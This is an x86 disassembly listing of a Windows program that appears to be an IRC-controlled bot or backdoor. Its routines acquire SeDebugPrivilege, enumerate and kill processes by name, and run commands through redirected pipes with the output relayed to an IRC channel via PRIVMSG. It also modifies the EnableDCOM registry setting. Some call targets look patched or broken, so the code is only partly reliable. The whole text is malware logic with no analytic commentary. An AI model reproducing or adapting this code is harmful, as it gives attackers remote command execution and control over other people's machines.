loc_419A05:				; CODE XREF: sub_4199AC+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A0F:				; CODE XREF: sub_4199AC+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A19:				; CODE XREF: sub_4199AC+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A23:				; CODE XREF: sub_4199AC+1Aj
		sub	eax, 7Ch
		jz	short loc_419A50
		sub	eax, 7C8h
		jz	short loc_419A49
		dec	eax
		jz	short loc_419A3F
		dec	eax
		jnz	short loc_419AAD
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A3F:				; CODE XREF: sub_4199AC+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A49:				; CODE XREF: sub_4199AC+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A50:				; CODE XREF: sub_4199AC+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A57:				; CODE XREF: sub_4199AC+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A5E:				; CODE XREF: sub_4199AC+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_419A97
		jz	short loc_419A90
		sub	eax, 8ADh
		jz	short loc_419AC2
		dec	eax
		dec	eax
		jz	short loc_419A89
		dec	eax
		jz	short loc_419A82
		dec	eax
		dec	eax
		jnz	short loc_419AAD
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A82:				; CODE XREF: sub_4199AC+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A89:				; CODE XREF: sub_4199AC+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A90:				; CODE XREF: sub_4199AC+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A97:				; CODE XREF: sub_4199AC+B9j
		sub	eax, 8CAh
		jz	short loc_419AC9
		sub	eax, 17h
		jz	short loc_419AC2
		sub	eax, 25h
		jz	short loc_419ABB
		sub	eax, 29h
		jz	short loc_419AB4


loc_419AAD:				; CODE XREF: sub_4199AC+35j
					; sub_4199AC+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419AB4:				; CODE XREF: sub_4199AC+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419ABB:				; CODE XREF: sub_4199AC+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419AC2:				; CODE XREF: sub_4199AC+C2j
					; sub_4199AC+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419AC9:				; CODE XREF: sub_4199AC+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_419ACE:				; CODE XREF: sub_4199AC+40j
					; sub_4199AC+4Aj ...
		push	offset dword_4DB5F0
		call	sub_41C266
		pop	ecx
		mov	eax, offset dword_4DB5F0
		pop	ecx
		retn
sub_4199AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419AE0	proc near		; CODE XREF: sub_401ACD+467Fp

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41E0D4
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		nop
		call	near ptr 26E0000h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41E0D4
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41E0B7
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CB9F4
		test	eax, eax
		jnz	short loc_419B70
		mov	esi, offset dword_4DB3EC
		push	offset unk_43A214
		push	esi
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_419B99
; ---------------------------------------------------------------------------


loc_419B70:				; CODE XREF: sub_419AE0+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_4199AC
		pop	ecx
		mov	esi, offset dword_4DB3EC
		push	eax
		push	offset dword_43A1E8
		push	esi
		call	sub_41C266
		add	esp, 14h


loc_419B99:				; CODE XREF: sub_419AE0+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419AE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B9E	proc near		; CODE XREF: sub_4172C1+45p
					; sub_4172C1+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		nop
		call	near ptr 27605BEh
		push	eax
		call	dword_4CB9C8
		test	eax, eax
		jnz	short loc_419BBD
		leave
		retn
; ---------------------------------------------------------------------------


loc_419BBD:				; CODE XREF: sub_419B9E+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CB9A0
		test	eax, eax
		jz	short loc_419BFB
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419BE4
		or	[ebp+var_8], 2
		jmp	short loc_419BE8
; ---------------------------------------------------------------------------


loc_419BE4:				; CODE XREF: sub_419B9E+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_419BE8:				; CODE XREF: sub_419B9E+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CBA50
		mov	esi, eax


loc_419BFB:				; CODE XREF: sub_419B9E+32j
		push	[ebp+var_4]
		nop
		call	near ptr 2680000h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419B9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C09	proc near		; CODE XREF: sub_401ACD+7770p
					; sub_419E38+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CBA04, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_419E08
		cmp	dword_4CB9E8, ebx
		jz	loc_419E08
		cmp	dword_4CB8F8, ebx
		jz	loc_419E08
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CBA04
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_419DFB
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CB9E8
		mov	esi, dword_427070
		test	eax, eax
		jz	loc_419DF6
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CB8F8
		test	eax, eax
		jz	loc_419DF6
		mov	edi, dword_42708C
		mov	ebx, 1F0FFFh


loc_419CCD:				; CODE XREF: sub_419C09+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_419D34
		mov	[ebp+var_4], offset off_43A240


loc_419CDB:				; CODE XREF: sub_419C09+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		call	near ptr 28A0000h
		nop
		test	eax, eax
		jz	short loc_419D03
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_43A2A0
		jb	short loc_419CDB
		jmp	loc_419DDC
; ---------------------------------------------------------------------------


loc_419D03:				; CODE XREF: sub_419C09+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_419DDC
		push	0
		push	eax
		nop
		call	near ptr 27509CEh
		test	eax, eax
		jnz	loc_419DDC


loc_419D2A:				; CODE XREF: sub_419C09+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_419DDC
; ---------------------------------------------------------------------------


loc_419D34:				; CODE XREF: sub_419C09+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_419DC7
		cmp	[ebp+arg_4], eax
		jz	loc_419DDC
		push	[ebp+var_128]
		push	8
		call	dword_4CBA04
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_419D87
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CB8A4
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419D8D
		lea	eax, [ebp+var_234]
		jmp	short loc_419D93
; ---------------------------------------------------------------------------


loc_419D87:				; CODE XREF: sub_419C09+15Cj
		push	[ebp+var_128]


loc_419D8D:				; CODE XREF: sub_419C09+174j
		lea	eax, [ebp+var_10C]


loc_419D93:				; CODE XREF: sub_419C09+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h
		jmp	loc_419D2A
; ---------------------------------------------------------------------------


loc_419DC7:				; CODE XREF: sub_419C09+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419E0F


loc_419DDC:				; CODE XREF: sub_419C09+F5j
					; sub_419C09+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CB8F8
		test	eax, eax
		jnz	loc_419CCD
		xor	ebx, ebx


loc_419DF6:				; CODE XREF: sub_419C09+9Dj
					; sub_419C09+B3j
		push	[ebp+var_8]
		call	esi


loc_419DFB:				; CODE XREF: sub_419C09+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx


loc_419E08:				; CODE XREF: sub_419C09+3Aj
					; sub_419C09+46j ...
		xor	eax, eax


loc_419E0A:				; CODE XREF: sub_419C09+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_419E0F:				; CODE XREF: sub_419C09+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		nop
		call	near ptr 27509CEh
		test	eax, eax
		jnz	short loc_419E33
		push	edi
		call	esi
		jmp	short loc_419E08
; ---------------------------------------------------------------------------


loc_419E33:				; CODE XREF: sub_419C09+223j
		push	1
		pop	eax
		jmp	short loc_419E0A
sub_419C09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E38	proc near		; DATA XREF: sub_401ACD+2687o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_43A440
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41C266
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_419E97
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409869
		add	esp, 14h


loc_419E97:				; CODE XREF: sub_419E38+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_419C09
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419EBF
		push	offset unk_43A41C
		jmp	short loc_419EC4
; ---------------------------------------------------------------------------


loc_419EBF:				; CODE XREF: sub_419E38+7Ej
		push	offset unk_43A3F8


loc_419EC4:				; CODE XREF: sub_419E38+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41C266
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_419EF7
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409869
		add	esp, 14h


loc_419EF7:				; CODE XREF: sub_419E38+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_415D38
		push	[ebp+var_14]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 2710000h
		pop	edi
		pop	esi
sub_419E38	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419F16	proc near		; CODE XREF: sub_401ACD+7712p
					; sub_40B4F5+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 26A07A5h
		mov	esi, eax
		test	esi, esi
		jz	short loc_419F48
		push	0
		push	esi
		nop
		call	near ptr 27509CEh
		test	eax, eax
		jnz	short loc_419F48
		push	esi
		xor	edi, edi
		nop
		call	near ptr 2680000h


loc_419F48:				; CODE XREF: sub_419F16+1Aj
					; sub_419F16+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_419F16	endp

; ---------------------------------------------------------------------------
byte_419F4D	db 56h,	33h, 0F6h	; DATA XREF: ___:004015EEo
		dd 5656016Ah, 0E8565656h, 0FFFFFCADh, 0FF18C483h, 43A23C35h
		dd 650BE800h, 0EB900228h
		db 0E3h

; =============== S U B	R O U T	I N E =======================================



sub_419F6D	proc near		; CODE XREF: sub_419F9D+2Ap
					; sub_419FD5+7Ep ...
		mov	eax, dword_4DBC58
		push	esi
		mov	esi, dword_427070
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F81
		push	eax
		call	esi


loc_419F81:				; CODE XREF: sub_419F6D+Fj
		mov	eax, dword_4DBC60
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F8E
		push	eax
		call	esi


loc_419F8E:				; CODE XREF: sub_419F6D+1Cj
		mov	eax, dword_4DBC54
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F9B
		push	eax
		call	esi


loc_419F9B:				; CODE XREF: sub_419F6D+29j
		pop	esi
		retn
sub_419F6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419F9D	proc near		; CODE XREF: sub_401ACD+7475p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41B9C0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DBC5C
		nop
		call	near ptr 2740000h
		test	eax, eax
		jnz	short loc_419FD0
		call	sub_419F6D
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419FD0:				; CODE XREF: sub_419F9D+28j
		push	1
		pop	eax
		leave
		retn
sub_419F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419FD5	proc near		; CODE XREF: sub_41A05C+D3p
					; sub_41A05C+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_43DB98
		push	[ebp+arg_4]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41A018
		push	7D0h
		nop
		call	near ptr 26A0475h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_41A02F
; ---------------------------------------------------------------------------


loc_41A018:				; CODE XREF: sub_419FD5+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_41A02F:				; CODE XREF: sub_419FD5+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA34
		test	eax, eax
		jg	short loc_41A058
		call	sub_419F6D


loc_41A058:				; CODE XREF: sub_419FD5+7Cj
		xor	eax, eax
		leave
		retn
sub_419FD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A05C	proc near		; DATA XREF: sub_41A1B1+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DBC64


loc_41A074:				; CODE XREF: sub_41A05C+79j
					; sub_41A05C+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DBC58
		nop
		call	near ptr 28A0965h
		test	eax, eax
		jz	loc_41A142
		cmp	[ebp+var_4], edi
		jnz	short loc_41A0D7
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DBC54
		nop
		call	near ptr 28A04E6h
		test	eax, eax
		jz	short loc_41A0CD
		cmp	[ebp+var_8], 103h
		jnz	loc_41A166


loc_41A0CD:				; CODE XREF: sub_41A05C+62j
		push	0Ah
		call	near ptr 26A0475h
		nop
		jmp	short loc_41A074
; ---------------------------------------------------------------------------


loc_41A0D7:				; CODE XREF: sub_41A05C+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_41A0EE


loc_41A0DE:				; CODE XREF: sub_41A05C+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_41A13C
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_41A0DE


loc_41A0EE:				; CODE XREF: sub_41A05C+80j
		mov	[ebp+var_4], esi


loc_41A0F1:				; CODE XREF: sub_41A05C+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DBC58
		nop
		call	near ptr 2730000h
		test	eax, eax
		jz	short loc_41A18E
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DBC98
		call	sub_419FD5
		add	esp, 0Ch
		jmp	loc_41A074
; ---------------------------------------------------------------------------


loc_41A13C:				; CODE XREF: sub_41A05C+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_41A0F1
; ---------------------------------------------------------------------------


loc_41A142:				; CODE XREF: sub_41A05C+45j
		push	offset unk_43A4C8
		push	ebx
		push	dword_4DBC98
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	1
		call	near ptr 2710000h
		nop


loc_41A166:				; CODE XREF: sub_41A05C+6Bj
		call	sub_419F6D
		push	offset unk_43A4A0
		push	ebx
		push	dword_4DBC98
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		nop
		call	near ptr 2710000h


loc_41A18E:				; CODE XREF: sub_41A05C+C3j
		push	offset unk_43A470
		push	ebx
		push	dword_4DBC98
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		nop
		call	near ptr 2710000h
sub_41A05C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A1B1	proc near		; CODE XREF: sub_401ACD+24AAp

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419F6D
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_4346E8
		push	esi
		call	dword_4CBAA0
		test	eax, eax
		jz	loc_41A2AB
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_427108
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_41A2AB
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_41A2AB
		mov	edi, dword_427104
		push	3
		push	esi
		push	esi
		push	offset dword_4DBC5C
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		call	near ptr 2760000h
		nop
		test	eax, eax
		jz	short loc_41A2AB
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_43DB98
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		nop
		call	near ptr 26802DCh
		test	eax, eax
		jnz	short loc_41A2B3


loc_41A2AB:				; CODE XREF: sub_41A1B1+2Fj
					; sub_41A1B1+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_41A361
; ---------------------------------------------------------------------------


loc_41A2B3:				; CODE XREF: sub_41A1B1+F8j
		push	[ebp+var_4]
		mov	edi, dword_427070
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DBC58, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DBC60, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DBC54, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DBC98, eax
		jz	short loc_41A2ED
		push	[ebp+arg_4]
		jmp	short loc_41A2EE
; ---------------------------------------------------------------------------


loc_41A2ED:				; CODE XREF: sub_41A1B1+135j
		push	ebx


loc_41A2EE:				; CODE XREF: sub_41A1B1+13Aj
		push	offset dword_4DBC64
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_43A52C
		call	sub_40B3BA
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43E928[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_41A05C
		push	esi
		push	esi
		nop
		call	near ptr 26A04CCh
		cmp	eax, esi
		mov	dword_43E934[edi], eax
		jnz	short loc_41A35F
		call	near ptr 26A0CACh
		nop
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_43A4F8
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_41A35F:				; CODE XREF: sub_41A1B1+185j
		xor	eax, eax


loc_41A361:				; CODE XREF: sub_41A1B1+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A1B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A366	proc near		; DATA XREF: sub_401ACD+2DC8o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_41A3AD
		call	sub_41A3C6
		jmp	short loc_41A3B2
; ---------------------------------------------------------------------------


loc_41A3AD:				; CODE XREF: sub_41A366+3Ej
		call	sub_41A6EA


loc_41A3B2:				; CODE XREF: sub_41A366+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B6D6
		pop	ecx
		push	0
		nop
		call	near ptr 2710000h
sub_41A366	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A3C6	proc near		; CODE XREF: sub_41A366+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CBAB4, edi
		jnz	loc_41A4F8
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CBA54
		test	eax, eax
		jnz	short loc_41A451
		mov	ax, word_4392A0
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CBA08
		test	eax, eax
		jz	short loc_41A433
		push	offset dword_43A7C8
		jmp	short loc_41A438
; ---------------------------------------------------------------------------


loc_41A433:				; CODE XREF: sub_41A3C6+64j
		push	offset dword_43A7A8


loc_41A438:				; CODE XREF: sub_41A3C6+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9C0
		jmp	short loc_41A464
; ---------------------------------------------------------------------------


loc_41A451:				; CODE XREF: sub_41A3C6+36j
		lea	eax, [ebp+var_214]
		push	offset dword_43A778
